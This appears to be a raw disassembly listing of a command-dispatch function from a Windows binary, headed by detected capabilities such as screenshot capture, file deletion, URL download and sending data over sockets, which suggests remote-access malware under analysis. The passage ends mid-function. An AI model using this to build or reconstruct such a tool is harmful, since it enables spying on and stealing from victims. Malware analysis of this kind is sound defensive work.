Function at 0x4026a0
Capabilities:
Capture screenshot
Create thread
Delete file
Download url
Enumerate files on windows
Receive data
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x40d0ea
mov eax, dword fs:[0]
push eax
mov eax, 0x23150
call fcn.0040c1c0
mov eax, dword [0x412018]
xor eax, esp
mov dword [esp + 0x23148], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x412018]
xor eax, esp
push eax
lea eax, [esp + 0x23164]
mov dword fs:[0], eax
mov eax, dword [esp + 0x23174]
cmp eax, 0x1c
ja case.0x4026f6.2
movzx eax, byte [eax + 0x405748]
jmp dword [eax*4 + 0x40570c]
lea ecx, [esp + 0xd64]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea ecx, [esp + 0xd64]
push ecx
mov dword [esp + 0x23170], 0
call fcn.00407e60
add esp, 4
test al, al
je 0x4051d2
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x414e54
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd80]
call fcn.00407960
add esp, 0x1c
test al, al
je 0x4027ff
mov edx, esi
push edx
lea ecx, [esp + 0xdf4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23188], 1
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x415158
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xe0c]
call fcn.00407a00
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x415158
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd80]
call fcn.00407aa0
mov eax, esi
mov ecx, esp
mov dword [esp + 0x40], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x231a4], 2
lea edx, [esp + 0xe28]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov byte [esp + 0x231a4], 1
call fcn.00406a70
add esp, 0x38
mov byte [esp + 0x2316c], 0
lea ecx, [esp + 0xdf0]
jmp 0x403674
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x415008
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd80]
call fcn.00407960
add esp, 0x1c
test al, al
je 0x402830
call fcn.004089d0
jmp 0x40367a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x4150b0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd80]
call fcn.00407960
add esp, 0x1c
test al, al
je 0x402861
call fcn.00409650
jmp 0x40367a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x4151c8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd80]
call fcn.00407960
add esp, 0x1c
test al, al
je 0x402915
cmp dword [esp + 0xd7c], 0x10
mov eax, dword [esp + 0xd68]
jae 0x4028a4
lea eax, [esp + 0xd68]
push 0xfde9
lea ecx, [esp + 0x328]
push eax
lea eax, [esp + 0x328]
mov dword [esp + 0x328], ecx
call fcn.0040a750
lea edx, [esp + 0x30]
mov byte [esp + 0x2316c], 3
mov ecx, dword [esp + 0x320]
push edx
call fcn.0040a5c0
mov eax, dword [esp + 0x320]
lea ecx, [esp + 0x324]
cmp eax, ecx
je 0x4028f9
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.MSVCR90.dll__wremove]
add esp, 4
lea eax, [esp + 0x30]
call fcn.0040a5a0
jmp 0x40367a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x415024
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd80]
call fcn.00407960
add esp, 0x1c
test al, al
je 0x40296d
cmp dword [0x414ef4], 0
je 0x402950
mov ecx, 0x414ea0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
cmp dword [0x414f98], 0
je 0x40367a
mov ecx, 0x414f48
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
jmp 0x40367a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push str.Search
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd80]
call fcn.00407960
add esp, 0x1c
test al, al
je 0x402a87
mov eax, esi
push eax
lea ecx, [esp + 0xd84]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xd80]
push ecx
lea ecx, [esp + 0xdf4]
mov byte [esp + 0x23170], 4
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23188], 5
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x40e838
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xe0c]
call fcn.00407a00
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x40e838
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd9c]
call fcn.00407aa0
add esp, 0x1c
push 0x40e6c4
mov ecx, 0x414d74
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov edx, esi
push edx
mov ecx, 0x414d74
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x40e6c4
mov ecx, 0x414d90
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea eax, [esp + 0xdf0]
push eax
mov ecx, 0x414d90
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0
push 0
push 0
push 0x407f40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0xdf0]
mov byte [esp + 0x2316c], 4
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [esp + 0x2316c], 0
mov ecx, esi
jmp 0x403674
push 5
sub esp, 0x1c
mov dword [esp + 0x44], esp
mov esi, esp
sub esp, 0x1c
lea edx, [esp + 0xda0]
mov ecx, esp
mov dword [esp + 0x60], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407b40
add esp, 0x1c
call fcn.00407d60
add esp, 0x20
jmp 0x40367a
push 0x40e6c4
lea ecx, [esp + 0xd68]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd64]
push eax
mov dword [esp + 0x23170], 6
call fcn.00407e60
add esp, 4
test al, al
je 0x4051d2
mov esi, dword [esp + 0xd7c]
mov edi, dword [esp + 0xd68]
mov eax, edi
cmp esi, 0x10
jae 0x402b0f
lea eax, [esp + 0xd68]
lea edx, [eax + 1]
xor ebp, ebp
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b14
sub eax, edx
cmp eax, 1
jbe 0x402b6c
push 0x104
push ebp
push 0x414b38
call sub.MSVCR90.dll_memset
add esp, 0xc
mov eax, edi
cmp esi, 0x10
jae 0x402b43
lea eax, [esp + 0xd68]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402b45
mov edi, 0x414b38
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402b56
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov dword [0x4146f8], eax
mov dword [0x4146fc], eax
mov word [0x414700], ax
mov eax, 0x414b38
mov dword [0x41462c], ebp
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b90
sub eax, edx
cmp eax, 2
jbe 0x40367a
push 0x40e6c4
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov bl, 7
push 0x4150cc
lea ecx, [esp + 0xd4c]
mov byte [esp + 0x23170], bl
call dword [0x40e1b4]
push 0x414b38
lea ecx, [esp + 0xd4c]
call dword [0x40e1b0]
push 0x415040
lea ecx, [esp + 0xd4c]
call dword [0x40e1b4]
mov eax, dword [esp + 0xd4c]
mov esi, 0x10
cmp dword [esp + 0xd60], esi
jae 0x402c0f
lea eax, [esp + 0xd4c]
push ebp
push ebp
lea ecx, [esp + 0x38]
push ecx
push eax
push ebp
call sub.urlmon.dll_URLOpenBlockingStreamA
cmp eax, ebp
jne 0x402c45
mov eax, dword [esp + 0x30]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
lea ecx, [esp + 0x24]
push ecx
push 4
push 0x41462c
push eax
call edx
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push 0x32
mov dword [esp + 0x28], ebp
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40e6c4
lea ecx, [esp + 0xd84]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 0x4150cc
lea ecx, [esp + 0xd84]
mov byte [esp + 0x23170], 8
call dword [0x40e1b4]
push 0x414b38
lea ecx, [esp + 0xd84]
call dword [0x40e1b0]
push 0x415094
lea ecx, [esp + 0xd84]
call dword [0x40e1b4]
mov eax, dword [esp + 0xd84]
cmp dword [esp + 0xd98], esi
jae 0x402cb8
lea eax, [esp + 0xd84]
push ebp
push ebp
lea ecx, [esp + 0x34]
push ecx
push eax
push ebp
call sub.urlmon.dll_URLOpenBlockingStreamA
cmp eax, ebp
jne 0x402cee
mov eax, dword [esp + 0x2c]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
lea ecx, [esp + 0x3c]
push ecx
push 0xa
push 0x4146f8
push eax
call edx
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
lea ecx, [esp + 0xd80]
mov dword [esp + 0x3c], ebp
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [esp + 0x2316c], 6
lea ecx, [esp + 0xd48]
jmp 0x403674
push 0x40e6c4
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd48]
mov ebx, 9
push eax
mov dword [esp + 0x23170], ebx
call fcn.00407e60
add esp, 4
test al, al
je 0x4049b4
xor edi, edi
push 0x40e6c4
mov ecx, 0x414dc8
mov dword [0x414924], edi
mov dword [0x414a2c], edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
fldz
push 0x40e6c4
fstp qword [0x414d48]
mov ecx, 0x414dac
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 0x40e83c
lea ecx, [esp + 0xd4c]
push ecx
lea edx, [esp + 0x130]
push edx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
add esp, 0xc
push eax
mov ecx, 0x414dac
mov byte [esp + 0x23170], 0xa
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x128]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
sub esp, 0x1c
lea eax, [esp + 0xd64]
mov ecx, esp
mov dword [esp + 0x40], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00405770
add esp, 0x1c
push 0xf8
lea edx, [esp + 0x10ca]
xor ecx, ecx
push edi
push edx
mov word [esp + 0x10d0], cx
call sub.MSVCR90.dll_memset
fld qword [0x40eb98]
fld qword [0x414d48]
add esp, 0xc
fcom st(1)
push 0xa
fnstsw ax
fstp st(1)
test ah, 0x41
jne 0x402e76
fmul qword [0x40eba0]
lea eax, [esp + 0x10c8]
push eax
fst qword [0x414d48]
call fcn.0040c200
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40e840
mov ecx, 0x414dc8
call dword [0x40e1b0]
lea ecx, [esp + 0x10c4]
push ecx
mov ecx, 0x414dc8
call dword [0x40e1b0]
push str._GB
jmp 0x402f76
fld qword [0x40ebb8]
fcomp st(1)
fnstsw ax
test ah, 5
jp 0x402ed7
fmul qword [0x40eb90]
lea edx, [esp + 0x10c8]
push edx
fst qword [0x414d48]
call fcn.0040c200
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40e840
mov ecx, 0x414dc8
call dword [0x40e1b0]
lea eax, [esp + 0x10c4]
push eax
mov ecx, 0x414dc8
call dword [0x40e1b0]
push str._MB
jmp 0x402f76
fld qword [0x40ebb0]
fcomp st(1)
fnstsw ax
test ah, 5
jp 0x402f35
fmul qword [0x40eba8]
lea ecx, [esp + 0x10c8]
push ecx
fst qword [0x414d48]
call fcn.0040c200
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40e840
mov ecx, 0x414dc8
call dword [0x40e1b0]
lea edx, [esp + 0x10c4]
push edx
mov ecx, 0x414dc8
call dword [0x40e1b0]
push str._KB
jmp 0x402f76
lea eax, [esp + 0x10c8]
push eax
call fcn.0040c200
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40e840
mov ecx, 0x414dc8
call dword [0x40e1b0]
lea ecx, [esp + 0x10c4]
push ecx
mov ecx, 0x414dc8
call dword [0x40e1b0]
push 0x40e880
mov ecx, 0x414dc8
call dword [0x40e1b0]
push str._r_n
mov ecx, 0x414dc8
call dword [0x40e1b0]
fldz
fcomp qword [0x414d48]
fnstsw ax
test ah, 0x44
jnp 0x4030db
push 0xf8
lea eax, [esp + 0x11ca]
xor edx, edx
push edi
push eax
mov word [esp + 0x11d0], dx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0xf8
lea edx, [esp + 0x12ca]
xor ecx, ecx
push edi
push edx
mov word [esp + 0x12d0], cx
call sub.MSVCR90.dll_memset
mov ecx, dword [0x414a2c]
add esp, 0xc
push 0xa
lea eax, [esp + 0x11c8]
push eax
push ecx
call esi
mov eax, dword [0x414924]
add esp, 0xc
push 0xa
lea edx, [esp + 0x12c8]
push edx
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x11c4]
push ecx
mov ecx, 0x414dc8
call dword [0x40e1b0]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x40e884
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x10c]
call fcn.004090c0
add esp, 0x1c
push eax
mov ecx, 0x414dc8
mov byte [esp + 0x23170], 0xb
call dword [0x40e1b4]
lea ecx, [esp + 0xf0]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str._r_n
mov ecx, 0x414dc8
call dword [0x40e1b0]
lea edx, [esp + 0x12c4]
push edx
mov ecx, 0x414dc8
call dword [0x40e1b0]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x40e890
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x9c]
call fcn.004090c0
add esp, 0x1c
push eax
mov ecx, 0x414dc8
mov byte [esp + 0x23170], 0xc
call dword [0x40e1b4]
lea ecx, [esp + 0x80]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x44], esp
push 0x414dc8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407d60
add esp, 0x20
mov dword [esp + 0x2316c], 0xffffffff
lea ecx, [esp + 0xd48]
jmp 0x40368c
push 0x40e6c4
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd48]
push eax
mov dword [esp + 0x23170], 0xd
call fcn.00407e60
add esp, 4
test al, al
je 0x4049b4
push 0x40e6c2
mov ecx, 0x414de4
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea ecx, [esp + 0xd48]
push ecx
mov ecx, 0x414de4
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0
push 0
push 0
push 0x40a060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x2316c], 0xffffffff
lea ecx, [esp + 0xd48]
jmp 0x40368c
lea ecx, [esp + 0xd64]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd64]
push edx
mov dword [esp + 0x23170], 0xe
call fcn.00407e60
add esp, 4
test al, al
je 0x4051d2
cmp byte [0x41461d], 0
jne 0x40344b
push 0x40e898
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
sub esp, 0x1c
mov bl, 0xf
mov byte [esp + 0x23188], bl
lea eax, [esp + 0xd64]
mov ecx, esp
mov dword [esp + 0x40], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xb8]
call fcn.004090c0
add esp, 0x1c
push eax
lea ecx, [esp + 0xd4c]
mov byte [esp + 0x23170], 0x10
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x9c]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov esi, dword [sym.imp.MSVCP90.dll_bool___cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
lea ecx, [esp + 0xd64]
push 0x40e8b4
push ecx
call esi
add esp, 8
test al, al
je 0x4032af
push 0x40e8b8
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
sub esp, 0x1c
lea edx, [esp + 0xd64]
mov ecx, esp
mov dword [esp + 0x40], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xf0]
call fcn.004090c0
add esp, 0x1c
push eax
lea ecx, [esp + 0xd4c]
mov byte [esp + 0x23170], 0x11
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xd4]
jmp 0x40331a
lea eax, [esp + 0xd64]
push 0x40e8f4
push eax
call esi
add esp, 8
test al, al
je 0x403327
push 0x40e8f8
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
sub esp, 0x1c
lea edx, [esp + 0xd64]
mov ecx, esp
mov dword [esp + 0x40], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x128]
call fcn.004090c0
add esp, 0x1c
push eax
lea ecx, [esp + 0xd4c]
mov byte [esp + 0x23170], 0x12
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x10c]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
sub esp, 0x1c
lea eax, [esp + 0xd64]
mov ecx, esp
mov dword [esp + 0x40], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00408930
add esp, 0x1c
test al, al
je 0x4033f0
mov ecx, dword [esp + 0xd5c]
add ecx, 3
push ecx
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
mov edx, dword [esp + 0xd60]
mov esi, eax
mov byte [edx + esi], 0
mov eax, dword [esp + 0xd50]
mov ebx, 0x10
add esp, 4
cmp dword [esp + 0xd60], ebx
jae 0x40338a
lea eax, [esp + 0xd4c]
push eax
mov eax, dword [esp + 0xd60]
add eax, 2
push eax
push esi
call dword [sym.imp.MSVCR90.dll_strcpy_s]
add esp, 0xc
push 0
push 0
push esi
push 0x406ef0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [0x41461d], 0
jne 0x4033d0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call edi
cmp byte [0x41461d], 0
je 0x4033c3
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0xd48]
mov byte [esp + 0x2316c], 0xe
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x403450
push 0x41521c
lea ecx, [esp + 0xdd8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 6
sub esp, 0x1c
mov byte [esp + 0x2318c], 0x13
lea edx, [esp + 0xdf4]
mov ecx, esp
mov dword [esp + 0x44], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0xdd4]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd48]
jmp 0x40366c
mov ebx, 0x10
mov ecx, dword [0x41507c]
cmp dword [0x415090], ebx
jae 0x403463
mov ecx, 0x41507c
mov eax, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x40347a
lea eax, [esp + 0xd68]
mov esi, dword [sym.imp.MSVCR90.dll_strstr]
push ecx
push eax
call esi
add esp, 8
test eax, eax
je 0x403490
call fcn.00407bd0
xor eax, eax
push 0x21a
push eax
lea ecx, [esp + 0xe46]
push ecx
mov word [esp + 0xe48], ax
call sub.MSVCR90.dll_memset
mov ecx, dword [0x4151e8]
add esp, 0xc
cmp dword [0x4151fc], ebx
jae 0x4034c3
mov ecx, 0x4151e8
mov eax, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x4034da
lea eax, [esp + 0xd68]
push ecx
push eax
call esi
add esp, 8
test eax, eax
jne 0x403588
mov ecx, dword [0x415178]
cmp dword [0x41518c], ebx
jae 0x4034fc
mov ecx, 0x415178
mov eax, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x403513
lea eax, [esp + 0xd68]
push ecx
push eax
call esi
add esp, 8
test eax, eax
jne 0x403588
mov ecx, dword [0x415194]
cmp dword [0x4151a8], ebx
jae 0x403531
mov ecx, 0x415194
mov eax, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x403548
lea eax, [esp + 0xd68]
push ecx
push eax
call esi
add esp, 8
test eax, eax
jne 0x403588
mov ecx, dword [0x415204]
